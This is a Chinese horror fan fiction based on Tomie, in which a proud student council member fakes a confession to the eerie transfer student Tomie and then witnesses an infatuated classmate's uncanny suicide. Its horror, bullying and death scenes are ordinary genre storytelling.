《[富江]被我愚弄的家伙是怪物怎么办?》 1、第一章 伴随着下课铃声响起,教学楼内一片喧嚣和躁动,穿着蓝白校服校裙的男男女女从教室大门鱼贯而出,十六七岁的少男少女的话题不外乎是恋爱、时尚、明星、八卦等等…… 然而自川上富江三周前转学来到这个学校之后,一切都变了。 他俨然成为了所有人口中的话题中心。 “...好期待明天,明天我们的体育课是和富江同学的体育课一起的吧?应该能见到富江同学的吧?” “一见到富江同学那张美丽不可方物的脸蛋,我就感到呼吸都不顺畅了,人怎么可以漂亮成那个样子…真的好想…好想…要是能够让富江成为我一个人专属的…该有多好啊?” “早乙女,你大白天做什么春秋大梦,富江属于你?你不照照镜子看看自己,那歪瓜裂枣的长相,配吗?” “喂?你干嘛忽然骂我?哦豁~你不会以为富江能看的上你吧?……说我不照照镜子,那你又好到哪里去?…你打我?你这个死基佬疯了你居然打我?” …… 一开始只是一两句口角,但是扯上川上富江的‘喜好’之后,争吵越演越烈,不过片刻的功夫,刚才还并肩走在一起的人便不顾形象的大打出手,场面瞬间轮作一锅粥。 马上有人想要上去劝架,但是不是被波及白白误伤,就是被几句酸言酸语拨动过分敏锐的神经,竟然也不管不顾地加入了混乱中。 渐渐地,不敢向前的同学围成一堵人墙,冷眼旁观着热闹。 而就在这堵冷漠的人墙后一米开外的位置,黑发少年轻而易举地避开所有惹人讨厌的视线,施施然地从所有人的面前走过。 少年的身影轻盈,像是花丛中美丽的蝴蝶,瑰丽的翅膀扑楞着,毫无留恋地略过一朵又一朵艳丽的花,不沾分毫。 只因他才是最艳丽的那一朵,又如何看得上这些人。 窗外的夕阳为他冷清俊美的侧脸镀上一层金色的光芒,神圣又疏离,不可接近,金色的光晕模糊了他那瑰丽得惊心动魄的五官,只见眼角下的泪痣熠熠生辉,散发着难以言喻的诱惑力,还有唇角那一丝若有似无的、嘲讽的弧度。 白石芽衣和相关人员闻讯赶过来处理的时候,入目的少年翩然离去的背影。 毫无疑问,那就是所有人争论的风暴中心——川上富江本人。 冰冷没有温度,飘逸没有停顿,一点多余的目光都没有分给这一场因他而起的闹剧,宛若一个过客。 永远地事不关己,高高挂起。 …… 白石芽衣处理好这起突发的打架事件已经是半小时之后了。 作为风纪委员长,她本来就有责任维护学校,配合老师处理这类型的事件。伊藤高中的校风一向很好,来这里读书的人要么成绩优秀,要么非富则贵,很少发生恶意的斗殴事件,大家就算不喜欢当中的一些人,也会选择维护表面的平和。 然而这已经白石芽衣本周处理的第四起因为川上富江而发生的争吵打架事件。 那个少年总是轻而易举将所有人,无论男女的视线和注意力都吸引到他自己的身上,原因无他,川上富江那张脸真的太美了,那是一种超越男性和女性的美丽,五官宛若上帝精心绘制的一幅画,眼角下的泪痣瑰丽,平增吸引人沉沦的魅力,就连一根头发丝儿,都透露着摄人心魄的精巧与美丽。 川上富江刚转学来的第一个上午,整个学校为之轰动,同学们之间的闲谈的话题,公众场合被肆意关注的追捧视线,就连学校论坛上也冒出了无数赞叹富江美貌的帖子.....一时间,所有人的关注和目光都被少年吸引。 虽然,这些目光曾经都是属于白石芽衣的。 白石芽衣自然没有小肚鸡肠到此,少年的美貌做不了假,她只是远远地见过一面,也不免会赞叹世界上竟然真的能有人生成这样。随后她又立马意识到,这样天赐的容貌,换个角度想,也许也是一种可怕的诅咒。 绝顶的美貌是一把双刃剑,有利有害,又何须羡慕。 只是稍微有点在意…… 当然,白石芽衣从小接受的精英教育,以及价值观也让她做不到来针对这个半路杀出的‘程咬金’。 毕竟、比起‘伊藤高中最美的面孔’这种只有虚名的称号被抢走的小事,她更在意的还是一些更为实际的东西。 比如说成绩,在学生会委员会中的地位,又或者是师长同学又或者家人眼中的形象…无论哪一点都比这个更加重要。 况且白石芽衣与川上富江并无交集。 但他毕竟是整个学校的话题人物,哪怕白石芽衣再不关心对方,也不可避免地听见有关少年的事情—— 他是如何受人欢迎,多的是人赶着向他大献殷勤,偏偏少年心高气傲,从来不会回应这些爱慕者,何止是不回应,几乎称得上恶言恶语,颐气指使,简直是将耍他们团团转,偏偏所有人一副中了邪甘之如饴,好像只要能帮他做些什么满足他的要求就是莫大的荣幸似的…… 样貌和性格皆是两种可怕的极端,至于成绩,她曾无意中见过他的入学资料,资料上并没有显示任何过去或者现在入学考试的成绩,只注明是特招生,想来成绩应该也不如何。 种种来看,那人不过是空有一副好皮囊、贪慕虚荣、毫无真才实干又又性格恶劣的家伙罢了…根本无需引起白石芽衣的任何重视和警觉。 原本她的确是这样想的。 直到半天前,年级主任找到了白石芽衣,原因是一个月后即将举动的市级高中生演讲竞赛,原本敲定的是她与另外一个品学兼优的女生参加,结果老师想要中途换川上富江上去。 若是对方的实力在她之上的话,她还能服气,偏偏老师给出的理由狗屁不通—— “虽然富江同学的成绩并没有像白石同学一样优秀,但我们一致认为他非常具有人格魅力,我们往些年在市里的比赛几乎没有拿过第一,只有第二,或许富江同学的加入会扭转这个局面也不一定,岐山同学负责文稿部分,由富江同学进行发言…一定可以拿到第一的…老师们都很有信心…白石同学,你也一定也能明白学校的苦心,对吗?毕竟我们都是为了学校好……”老师一本正经地说着。 白石芽衣听着不由悄无声息捏紧了手指,就连指甲掐进肉里都不觉得疼。 开什么玩笑?! 竟然是这种无聊的理由! 虽然心里万般不服气,但老师的口吻并不是跟自己商量,而是通知她这个决定,白石芽衣几乎是毫不费劲就察觉到这一点,只能按下心中的不爽,继续装出一副为大局着想的样子接受了这个事情。 事后白石芽衣与好友忍不住稍稍吐槽这件事,不料对方的反应同样超出她的意料。 “芽衣你这是在嫉妒吧?绝对是在嫉妒吧?也是,毕竟白石芽衣,顺风顺水了一辈子,以为自己就是世界的中心,你竟然敢拿自己和富江比吗?你连他一根头发都比不上,星辰之光岂敢同日月争辉…还是说,你这是在故意说着反话,只是为了引起富江的注意?承认吧,你很在意他、在意的要死不是吗?” 白石芽衣因为震惊而说不出一句话的样子似乎进一步挑动到了对方装着莫名恶意的神经,她上下打量了白石芽衣一眼,最后嘴角露出了嘲讽刻薄的弧度,她满怀恶意地继续揣测道:“你不会以为自己就这样能吸引富江的注意力吧…白石芽衣,你怎么会这么天真这么可笑啊…哈哈哈哈哈!” 说罢,女生大笑着走开,已经全然没有白石芽衣所熟识的那副温柔体贴的模样。 疯了,都疯了! 老师们疯了,她也疯了,所有人都疯了,因为那个妖冶到诡异的少年而发疯! 最重要的,此时此刻被莫名其妙的怒火和不甘所占据大脑的白石芽衣,似乎也被这种集体无意识疯狂的行为所煽动,竟然脑子发热做出了一个令自己后悔终生的决定。 * 毫无疑问,白石芽衣是彻头彻尾的行动派,尤其是在被这样突如其来的情绪所占据的时刻。只是没想到半路杀出个拦路虎,她便只能暂且抛下一切先行处理放学后那由富江引起的骚乱。 从办公室走出来之后,原本还喧哗的走廊变得冷清,夕阳西下,霞光过分灿烂,竟然迸发出如同火烧一般的绚烂色彩。 可芽衣无暇顾及这样难得美景,只是紧张地时不时盯着手腕上的钟表,快步走着。 她的目的地是四楼的音乐教室。 匆忙来到音乐教室门口,里面交谈的声音清晰地传出来。 好消息,她约的人还在里面等着她。 坏消息,有人比她先一步发现了对方。 听见声音的瞬间,白石芽衣停住了脚步,透过窗户打开的缝隙小心地望进去——竟然是有人堵住音乐教室的门口,正抓紧机会跟富江表白。 而富江冷着那张过分妖冶的脸,不发一言地看着对方,眼底轻蔑,就好像是看着台上的马戏团表演似的。 “富江同学…我对你的心意是真的,我从你第一天进入这个学校的时候,就注意到你了,你是这么地耀眼…我真的真的很喜欢很喜欢富江同学你…这是我的一点心意,希望你能收下,这颗黑曜石,很衬富江同学你,在商场看见这颗宝石的瞬间就让我想到了你的眼睛……” 少年却不耐烦地打断她自说自话的称赞,看都没看对方手上的礼物,只是讥笑道:“你竟然敢拿这种劣质的宝石跟我的眼睛比较吗?光是你居然有勇敢站在我面前,并且恬不知耻地大放厥词,就让我感到一阵反胃……还要被你这样的人注视,真恶心…” “……如果你真的像自己说的那么喜欢我,那么以后就不要再出现在我面前,你这样的人,连跟我呼吸同一片空气的资格都没有……” 他的声音明明没有多少波澜,但却让面前的女孩如坠冰窖。白石芽衣本以为她在接受了这样的羞辱之后会感到愤怒或者不甘,甚至会反驳对方,可是这些她预料的正常反应通通都没有,女孩只是脸色涨红,但那不是羞的,而是激动的,就好像富江只要愿意跟她说上一句,不管是不是世界上最恶毒的话语,她都会心怀感恩的收下。 她随手将那件自己兼职了一个月才买下来的宝石扔进了垃圾桶里,激动地留下来一句‘富江同学,我对你的心意是永远不会变的,我会…我会一直一直默默地关注着你…一直……’便匆匆离开。 最后那一句几乎是病态的疯狂的发言,让白石芽衣感到不寒而栗,细思极恐。 察觉女生离开的动静,白石芽衣整个人背靠在门边的墙壁上,将自己的身形存在缩到最小,幸运的是,女生匆匆离开时完全沉浸在激动喜悦的情绪中,并没有察觉边上站立的自己。 她松了一口气的同时,又再次觉得身边的人陷入了一种说不清道不明的疯狂当中。 在她陷入思考的同时,少年悄无声息地来到门边。 白石芽衣刚一抬头,就坠入他那双冰冷的黑眸中,好像一个溺水者徐徐沉入平静黑暗的海底,就连呼吸都停滞了。 她下意识将手背在后面,以隔绝少年那探究的视线,嘴巴张张合合,绞尽脑汁思索要怎么解释自己偷听的事实。 说她不小心路过这里,正巧你们说话的声音有点大然后不小心听见了一点? 还是矢口否认,就说自己其实什么都没听见… 白石芽衣思索着最优解,然而这个举动显然很多余,因为妖冶瑰丽的少年似乎并未在意她的存在,也不在意她到底有没有听见,甚至抢先她一步开口。 他问:“给我留纸条的,是你吧。” 毫无疑问,这是肯定语气的陈述句。 白石芽衣无法反驳,因为约少年放学后在音乐教室等的不是别人,正是她自己。 而她藏在身后的东西,正是早些时候一时冲动脑子发昏为了急于证明自己的魅力而决心写给少年的告白信。 疯了!都疯了!我大概也是疯了。 她这样想着。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 2、第二章 少年的话像是一盆凉水迎头浇来,白石芽衣那发热发昏的脑子因此迅速冷静下来。 如果比赛的临时换人是导火索的话,那好友那一反常态的尖酸刻薄,以及近似轻蔑的态度就是那枚引燃索线的子弹,虽然没有直接击中炸药桶,但产生的零星火光竟然以迅雷不及掩耳之势点燃一切。 白石芽衣像一条失魂鱼,游荡人声沸腾的走廊里。 每个人嘴里都在反复咀嚼着川上富江的名字。 所到之处,听见的所有的主角都是川上富江。 川上富江…川上富江… 富江富江富江富江富江富江… 【虽然富江同学的成绩并没有像白石同学一样优秀,但我们一致认为他非常具有人格魅力…】 【由富江同学进行发言…一定可以拿到第一的…老师们都很有信心…】 【你连他一根头发都比不上,星辰之光岂敢同日月争辉…】 【承认吧,你很在意他、在意的要死不是吗?】 老师和好友的话语恰逢其时地回响在白石芽衣的耳边,连同着周围那些窃窃私语着‘富江’大名的声音,一股脑地涌入她的大脑中。 于是乎,那引线上的火苗越烧越旺,最后‘轰’地一声演变成铺天盖地的大火,将她尚来自持的冷傲全部燃烧殆尽。 恍惚间,那一张张脸忽而之间转向了她,原本麻木不清的表情一个个变成恶意的嘲讽和轻蔑,指着她反复问道—— “你配吗你配吗你配吗你配吗你配……” 白石芽衣被这样的幻觉搞得呼吸急促,浑身颤抖。 好一会儿,她克制着迫使自己发颤的身躯平静下来。 有一点好友说的对,她在学校太过顺风顺水了。 毕竟、白石家财富惊人,在伊藤高中白石这个姓氏就代表了地位和财富,加上她外形好,懂得包装自己,行事作风宽以待人,严以律己,既没有同阶层那些富几代们的吊儿郎当,游手好闲,又聪明有手段,学习和工作都做的井井有条,为人称道,何时遭受过这样的委屈? 竟然被拿来同一个只有美貌的花瓶少年作对比? 甚至还被认为不如对方,配不上对方? 她有什么配不上的? 神若是喜欢她,那也必定是她身上有过人之处,为何庸人自扰? 不过—— 既然大家都这么追捧川上富江,认为那家伙天上地下绝无仅有,没有一个人有资格站在对方身边…那么、如果她能获得那个位置的话,并且在获得之后毫不留情地抛弃别人梦寐以求获得珍贵宝座,岂不是叫那些看轻她的家伙大跌眼镜,悔不当初? 光是想想那个画面就让她感到一阵兴奋和莫名的激动。 如今回想起来,她直觉自己那一瞬间大脑产生的想法当真是愚蠢又可怕,也许是这才是‘川上富江’这个名字背后真正蕴含的可怕意义—— 少年的一切总是可以轻而易举拨弄人们敏感或者不太敏感的神经,竟然让她做出如何有违常理的举动。 最重要的是,当时的她竟然觉得这个安排简直是完美。 所以她当下立断,掉头回到教室,打开书本洋洋洒洒摘抄了一段表白的诗,甚至信封都是从学校办公室薅来的。 白石芽衣用笔记本扉页的爱心贴纸盖住信封中央的伊藤高中校徽,然后用漂亮的圆体字在贴纸下方写上——“tomie”。 那是富江的罗马音。 然后贴心地喷涂上淡雅的香水,盖上烫金色的漆戳。 白色的纸张摸上去细腻高级,手写的圆体字流畅又飘逸,伴随着淡雅的气味,乍一眼看处处都是品味。 就好像她在信中装出来的对富江的喜爱一般,伪装的精致高级,其实处处都透露着敷衍和漫不经心。 还嫌不够,白石芽衣还在商店买了一份巧克力,不挑对的,只选贵的。 做完这一切之后,她才满腔自信地留纸条约富江放学后在音乐教室见面。怕事情败露在众人面前,到时候不好收场,她还用的不署名纸条,趁教室里四下无人的时候才把纸条夹在下一门课需要的用到的书里面。 这样即便失败收场也不会弄得人尽皆知,下不来台。 然而她百密一疏,却没办法料到少年居然会如此笃定地戳破纸条的事情。 他到底是怎么发现的? 不过这个已经不重要了。 如今目睹了富江拒绝别人的架势,白石芽衣只觉得一阵心惊肉跳。 先是狠狠地暗自痛骂自己的冲动和不理智,竟然会将自己置于这样尴尬的境界。尤其是从川上富江此人的表情中她敏锐地感知到了几分熟悉的危险,以及漠然,这样的人绝无可能如同她计划一般答应她的表白,又或者像她想象中委婉拒绝并且表示可以先成为朋友…… 川上富江会狠狠地嘲弄她,将她的心意贬得一文不值。 虽然她的心意就虚伪程度和出发点而言,确实不值一文。 但若此事被张扬出去,别人看待她的眼光,那是真的比看路上的垃圾都不如了! 她甚至能够想象到富江的粉丝们(几乎整个学校都是)会如何在背后…不对,以那群人的疯狂程度,是完全会直接在她面前贴面开大的那种…… 白石芽衣越想越是懊悔,竟然将这样的事情想得如此简单,才让自己落入这样的境地。 其实不然,一切都只是刚开了个头,或许还有力挽狂澜的机会。 只要找到理由解释那张不知道为什么会被他笃定是自己写的纸条…… 电光火石之间,白石芽衣恢复了那副老神在在的淡定模样,她扬起一贯的笑容,“因为最近关于川上同学的不良事件频繁发生,所以身为风纪委员的一员,想来看看川上同学有什么需要帮忙的呢……” 话音落下,白石芽衣感觉对方那漫不经心的视线似乎轻轻扫了她一下。 她没有来地感到一阵紧张。 随后少年不冷不淡地嗯了一声,没说信,也没有表现出任何怀疑的举动。 白石芽衣略显狐疑地看着他的脸,试图从那张如同凝脂般光滑幽雅的脸上找到一些端倪。 但什么都没有。 她只好硬着头皮继续说:“...那个、我不是故意偷听你们的对话的…不过,川上同学非常受欢迎…看来我的担心是多余的……” “担心?”他重复一遍她的话,似乎觉得有点新奇,“担心我什么?” 白石芽衣一噎,讪讪地胡扯道:“会稍微担心川上同学有点融不进这个集体,但是看来我的担心是多余呢…大家都很喜欢川上同学呢~” 川上富江笑了,纯净的黑眸定定地看向白石芽衣,眼角的泪痣好像随着他的笑容也变得活灵活现起来。 他:“…也包括你吗?” “当、当然!”她心虚的秒答。 他的笑容渐渐收敛,又变成了那尊不容靠近和亵渎的神像,白石芽衣决定不去探究这些表情变化背后的含义,只想赶紧结束话题顺便找个理由离开。 然后在她愣神的瞬间,少年眼尖,瞥见那只遮遮掩掩的手,“你后面藏了什么东西?” 还不等对方作答,少年先发制人,竟然趁白石芽衣不注意的时候偷袭,一把抢过她手里的东西。 动作浑然天成,仿佛一点都不会觉得冒犯别人。 这就是川上富江,随心所欲、又理所当然地做任何的事情。 “这是给我的,”少年看着信封上的字,笃定开口。 他鼻尖微动,淡雅的清香从手上的纸散发,这个发现让他的心情稍微愉悦了一点,仿佛只有这样才有了让他拆开的兴趣。 细长的指尖挑开封口漆,拿出里面的纯白信纸,打开。 富江忽然蹙起眉头,随后竟然读了出来。 阻止已经完全来不及了…… “……狂风将五月的蓓蕾凋残/夏日的勾留何其短暂/休恋那丽日当空/转眼会云雾迷蒙……”* “…唯有你永恒的夏日常新/你的美貌亦毫发无损/死神也无缘将你幽禁…”* 他念至这里的时候,眉心舒展,低沉富有磁性,宛若是钢琴低音键般的嗓音染上了傲娇的笑意,他甚至坏心眼地故意停顿了好一会儿,抬眸肆意地打量着面前因为窘迫和尴尬而脸色涨红的女孩。 看够了,满意了,他才继续读下去—— “你在我永恒的诗中长存/只要世间尚有人吟诵我的诗篇/这诗就将不朽永葆你的芳颜……”* 还没结束,他嘴里反复斟酌那几个字眼‘永恒’‘不朽’、‘永葆你的芳颜’… 显然,他非常喜爱这最后两句,那结语就好像有什么魔力一般,让他反复沉迷地念诵。 白石芽衣注意到川上富江的脸变得越发地昳丽,白得像象牙一样的脸上,准确地说,是在他眼尾处,泛起如同樱花般的淡粉,竟然教那张漂亮没有人气的脸也生出了几分生气来。 她有一瞬间看直了眼睛。 回过神来,白石芽衣本来想开口先一步解释这是书上摘抄的诗句,好先发制人掩盖她临时抄诗的敷衍和不上心,措辞都想好了…… “其实…这首诗…” “我很喜欢你写的这首诗…”他打断了女孩,语气有点施舍的意味。 “……” 白石芽衣松了一口气的同时又意识到,川上富江真的是个大脑空空的美丽的花瓶,不然他怎么会连莎士比亚最著名之一的十四行诗都认不出来。 他居然认为她有这样的才华能写出这么惊艳才绝的诗歌…… “你喜欢就好,其实这首诗是我……”抄回来的… “所以就为这首诗,我接受你的表白了。” 白石芽衣:“……” 她想,不仅是自己,就连面前的川上富江恐怕也是疯了。 全都疯了!!魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 3、第三章 白石芽衣觉得自己好像是做了一场梦,有点恨不得自己能够马上醒来才安心的那种。 只是夕阳的光辉洒在她的裸露在外的皮肤上,暖暖的热热的,还有恰如其分吹拂在脸上的微风,教学楼旁树叶簌簌沙沙的声响...周围一切都这么清晰,又准确无误地传入她的大脑,被她所感知到。 梦和幻觉都不会模拟得这么真实。 空气中还有如有似无的香水味。 是她喷涂在信纸上的,随着流动的空气散开、稀释,然后变淡。 尤其此刻她的心脏正砰砰砰地乱跳,不是因为激动或者兴奋,而是紧张和心虚。 ......所以是真的。 他说答应表白在一起的话,也不是幻听。 可是他为什么答应的这么爽快? 明明前不久才被她目睹了他拒绝别人的场景... 他到底有什么企图? 是打算耍她玩,好更加恶劣地看她的笑话吗? 白石芽衣不解地问:“为什么?” “什么为什么?”他反问道,语气仍然是漫不经心,就好像一时兴起似的,“你很喜欢我,不是吗?” “……是。”她差点被绕了进去,不明白这和答应她的表白有什么必要关联,赶忙追问:“那你也喜欢我吗?” 白石芽衣紧张地看着对方,而后者就好像听见了什么好玩的事情似的,竟然捧腹大笑起来。他冷清瑰丽的脸因为大笑而变得异常生动,有种肆意张狂的美丽,让人完全移不开眼睛。 可她只觉得这笑容令自己胆战心惊、不寒而栗,心脏几乎要从胸腔中跳出来。 她当然不会自作多情地认为川上富江会就这样轻而易举地喜欢上她才会答应她的表白。 所以、是早就看穿了她的‘诡计’,在这里故意耍着她玩吗? 想到这里,白石芽衣捏紧了拳头。 川上富江笑了整整一分钟,才止住笑声,他抹去眼角因为大笑而被挤出的点点泪光,又瞬间恢复到之前那副冷清的,近在眼前却又感觉遥不可及的模样。 “白石芽衣,你真有趣。”他看着女孩正色道,翻脸比翻书还要快。 然而被那双冰冷又美丽的黑眸注视的瞬间,白石芽衣只感觉自己的心脏好像被一双无形的手轻轻捏住,她屏住呼吸不敢喘气,生怕一点动静就会惹到对方不快。 他像是高高在上的判官,俯瞰着人世间的众生相,以别人挣扎窘迫取乐。白石芽衣觉得自己好像也成了那众生相的一员,被看笑话的感觉可不好,可她嘴巴好几次微张,话到喉咙间又被莫名堵住,一句反驳的话都说不出来。 最后他终于看够了,才施舍一般挪开视线,留下一句“要继续有趣下去哦……还有,要继续送诗给我,就像今天这样。” 他扬了扬手里的东西,头也不回地离开了此处。 等到少年的身影消失在拐角处,白石芽衣这才感到那股极具压迫感的审视消失,长吁一口气。 片刻后,她后知后觉地想到自己好像一直没说名字… 那他怎么知道她叫白石芽衣的? * 虽然川上富江的态度暧昧不定,让她有点捉摸不透对方真正的想法,但总归事情还是按照她一开始计划的样子发生了。 不管对方出于何种目的,她只是为了那个虚名,以及用那个虚名在关键时候打出漂亮一击,让那些轻视、嘲讽自己的家伙迎头一棒…… 白石芽衣是这样暗暗计划着的。 然而计划永远赶不上变化。 第二天的体育课上,一阵躁动和喧嚣的声音划破了这种脆弱的平静。 彼时白石芽衣正在清点器械,忽然身边的人一阵躁动不安,顺着他们的视线看过去,只见距离运动场最近的一栋教学楼天台上,此刻正站着一个穿着校服的女生。 她不顾危险翻上了围栏,正以一种非常惊险的姿势行走在那窄小的护栏上面。 一步、两步、三步……看的白石芽衣一阵胆战心惊,生怕她不小心踏错那一步,或者腿稍微抖一下,就会整个人直接坠落下来。 白石芽衣愣了片刻,随后立马反应过来,放下手里的器械跑过去,教学楼下方已经围了很多看热闹的人。 她挤出人群,正准备进入教学楼,不料下一刻,那学生竟然就直直地跳了下来,狠狠地砸在水泥地面上。 所有人都被这突如其来的一幕惊住了,满座寂静。 鲜红的血液源源不断地从她的头发里渗出来,很快就在水泥地板上淌出了一大块痕迹,血色染成的镜面,反射着点点的太阳光,刺得让人有点不敢睁开双眼。 然而女孩的脸的脸上没有恐惧,没有哀伤,更加没有痛苦,她双目睁开,嘴角挂着平静得诡异的笑容,竟然正直直地盯着白石芽衣所在的方向。 她被吓的当场愣住。 最重要的是,白石芽衣认出了这张脸—— 这个女孩正是昨天被她意外撞见在音乐教室跟富江表白的人! 白石芽衣觉得自己的身体好像被那双直勾勾的死亡之眼定在原地,然而被禁锢在这个无法动弹的身躯底下,心脏砰砰地乱跳,血液加速流动,伴随着说不清道不明的恐惧蔓延至四肢百骸。 然而血液循坏并为让她的身体感到一丝一毫的温暖,反而让她的四肢冰凉。 周围的人也终于反应过来,议论纷纷: 【那是谁?好像是四班的小园同学吧?】 【就是她!那家伙昨天啊…恬不知耻拦住了富江同学表白呢…也不看自己是什么玩意,居然还敢冲到富江同学面前…】 【…之前就教训过她的吧,像跟踪狂一样跟踪富江同学,被富江当面训斥了好几次了,还不知悔改…还说自己是天底下最爱富江的人,听着就觉得晦气…】 【…所以说死有余辜啊…她是想要用自杀引起富江的注意吗?真卑劣的手段啊!!】 …… 吵杂的片段陆陆续续地进入白石芽衣的耳膜中,吵得她的大脑嗡嗡嗡,好像被什么东西肆意搅动一样恶心。 不过也正因为如此,僵硬的四肢总算是恢复了一些反应和力气。 白石芽衣毫不犹豫脱下了自己的校服外套,率先上去用衣服盖住了园子因为坠落而掀起的校服裙摆,然后朝着那些吵吵闹闹,但是丝毫没有要过来帮忙的意思的学生大喊道:“你们傻站那里干嘛?要么去通知老师,要么快点离开,不要妨碍我们救人!” 众人面面相觑,有一部分人醒悟过来跑去找老师保安,也有部分人对白石芽衣的行为有些不满,但碍于对方的身份地位,也只能忍气吞声,默默退散。 但人八卦的天性作祟,即便他们散落几处,有的甚至走远了,但是眼睛还是会不断地往这边瞟。 白石芽衣现在已经顾不上那么多了,赶走人群是为了让这里的空气流动性更好一点。 虽然—— 她看着面前已经完全没有半点起伏的园子,有些艰难地咽了下口水,错开那双可怕的眼睛,小心翼翼地伸出手…… 没有气息。 不知为何,得到这个答案的瞬间,白石芽衣反而松了一口气。 也许只是因为她脸容平静,嘴角含笑的死状着实是过于诡异,以至于让她产生了对方跳下来的一幕只是她的幻觉,园子同学只是躺在水泥地板上不小心睡着了...... 然而,就在她收回手的时,一只血淋淋的手忽然抓住了她的。 竟然是死去的园子。 此刻,刺目的红从少女头发里渗出来,流过额头,越过双眼,划过脸颊,正不断地滴着血,她眼睛赤红,仿佛燃烧着疯狂的火焰,正肆意地盯着她,嘴角的弧度越咧越大。 她用一种嘶哑的不似人类的语调说道: “...我...我会一直注视着...” 最后的声音被从嘴巴里忽然涌出来的鲜血淹没。 但是白石芽衣看见了少女的嘴型,清清楚楚。 那没有说出口的最后两个字,是‘富江’。 她说,我会一直注视着富江。 一直一直一直一直一直..... 直到永远。 明明是正午,阳光正好,白石芽衣却没由来地打了个寒战,一股寒意自少女紧紧握住她的手腕处蔓延开来。 毫不怀疑,等会这个地方就会因为被用力握住而泛起红痕。 可白石芽衣浑浑噩噩,仍然沉浸在刺骨的寒意和精神上的恐惧当中,已然完全忽略掉这身体上疼痛。 老师和医护人员很快赶了过来,然后是他们疏散仍然围在这里的人,拉起警戒线,救护车和警车也很快赶到,警笛和救护车的声响混着现场噪杂的人声,还有下课铃声..... 白石芽衣觉得大脑一阵钝痛,恍惚之间,她眸光不经意一抬,对上一双漆黑的,冰冷的眼睛。 妖冶的少年正倚身矗立在二楼右侧教室的窗台前,面无表情,像是一尊没有感情的神像,高高在下地看着她。 也许他只是碰巧下课了站在那里看热闹,也许看了更久,久到一切都尚未发生之前,他就在那里站着,注视着白石芽衣。 微风带动了窗边乳白色的纱帘,朦朦胧胧。 一眨眼的功夫,少年的身影消失在那一片流动的窗帘后面,仿佛一切都是她的幻觉。 他从未出现过在那里。 但那层拢在白石芽衣身上沉重的阴影总算是被掀开,她觉得自己的四肢开始回温,也终于有了移动的力气。 可是为什么,她感觉富江似乎很生气的样子呢?魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 4、第四章 作为学校的风纪委员,又是活跃在现场的第一批人,白石芽衣毫不意外地被请去了做了个简单的笔录。 园子的报告也很快出来了,现场没有第二人存在的痕迹,就连注意到她的老师同学尚未反应过来,对方就毫不犹豫地跳下来,完全没有半点供人反应的余地。 尸体检测没有酒精反应,也没有任何药物反应,结合她死之前那平静和面容和恬静的微笑,初步认为是自杀事件。 至于自杀可能的原因,还需要进一步跟死者身边的人做详细的调查后,才能给出结论。 见白石芽衣的脸色沉重,同行老师忍不住开口道:“...法医认为园子从七楼跳下来,直接头着地砸落在粗糙的水泥地面上,由此判断在她摔在地面上的一瞬间就已经死掉了,没有持续的痛苦,死前没有感受到太多的痛苦,至少能够稍微安慰一点吧……” 听到这个结论的时候,白石芽衣不敢置信。 “怎么可能!明明、刚才、刚才她还死死地抓住我的手…还说了一句奇怪的话…” 她说,她会一直注视着富江。 白石芽衣说着,然后像是忽然意识到什么似的,她撩开自己的衣袖,只见手臂的皮肤白皙细腻,原本鲜红的手印不知何时已经消失不见。 痕迹…消失了! 白石芽衣的呼吸瞬间变得急促起来,好不容易平复下来的心脏又开始剧烈地跳动,那股寒意再次席卷而来,攫取了她的□□和灵魂。 她浑身颤抖。 同行的老师看出了女孩的状态不对,以为她这是对那样惨烈的局面感到不适,又或者是当下太过恐慌,才产生了那样奇特的幻觉,便关心道: “白石同学,真是辛苦你了……今天的事请千万不要放在心上,你已经做的很好了,如果真的感到不舒服,可以请个假,或者找学校的心理老师聊一聊……” 竟然是以为她的精神状态可能出现问题了…… 老师的话并没有让白石芽一好受很多,她只是胡乱地点头应和,然后浑浑噩噩地离开了。 只因她非常清楚地知道那一幕绝非自己的幻觉。 当天夜晚,白石芽一便陷入了一连串的噩梦当中。 梦里还是那栋园子跳楼自杀的教学楼,但是这次白石芽衣和园子的位置发生了对调,她站在了天台的边缘,而园子则是混迹在下方的人群当中。 围栏的宽度很杂,她的半只脚在围栏的外面,而下面有莫约十三四米的高度,光是往下看一眼,就已经有点头晕目眩。 白石芽衣本想后退,却不料背后无名风袭来,本就脚步发虚的她直直往前倾倒。 在失声尖叫中,失重感晕眩感袭来,心脏几乎跳出了嗓子眼,最后干脆她闭上了双眼,绝望地等到死神的造访。 在这最后的时刻,她想到的竟然是,真希望如老师所说在摔到地面的一瞬间就快速死去,这样就不必承受那么多的痛苦…… 然而痛苦并没有发生,白石芽衣直直地坠落到一个冰冷的怀抱当中。 抬眸,再次对上那双冷静自持,幽深神秘的黑眸,眼角下方的泪痣引人晕眩。而少年的脸还是没有多少表情,甚至有些冷峻,他的手没有一丝一毫活人的温度,像是细腻且柔软的冰块,抚摸上她的脸庞,就连语气也是冷冷的。 “白石芽衣,你真有趣……” “…我答应你的表白了……” 话音落下,围观的群众瞬间一片哗然。 其实除了富江之外的所有人的面容此刻都是模糊不清的,然而虽然看不清楚他们具体的样子,他们却有着高度相似的特质—— 对富江有着超乎寻常的狂热和追捧。 正如富江抱着自己的此刻,白石芽衣感受到无数如同刀子一般锋利的眼神朝她射来,不解的、震惊的、嫉妒的、憎恨的……无数诸如此类的情绪涌上来,几乎将她淹没。 “...凭什么!凭什么这个女人能获得富江的青睐…” “白石啊!白石这家伙,就是仗着自己的家世,目中无人惯了…谁真的喜欢那家伙啊!” “...她以为自己是风纪委员兼学生会,就很厉害呢…要不是白石家,谁愿意附和她啊…老师也不过看在她父亲的面子上才处处维护她吧…竟然恬不知耻地勾引富江……” “该死!她真的该死!必须要给她一个教训!” “白石芽衣滚出学生会!滚出伊藤高中!” “...对,滚出去!滚出去!” 那些面容模糊的家伙们开始步步逼近她,而他们的身体则是穿过了站在最前面的园子的身体,园子还是挂着那副恬静诡异的笑容,无声地说着—— “......我会一直注视……富江……” 那竟然是死去的园子的鬼魂! 就在即将被人群淹没而窒息的瞬间,白石芽衣终于从这个可怕的噩梦中惊醒过来。 她颤抖着手,在黑暗中摸到了灯的开关。 ‘啪’地一声,天花板上的吊灯瞬间被打开,照亮了整个房间,然而这并没有驱散笼罩在她心头沉重的阴影,不仅仅是园子死亡的,还有那些人的嘴脸。 这个梦反应并且放大了连白石芽衣自己本人都没有察觉到的,深层的恐惧,那是由园子死亡时那些人的嘴脸而产生的无意识的恐惧,让她认识到了一个事实—— 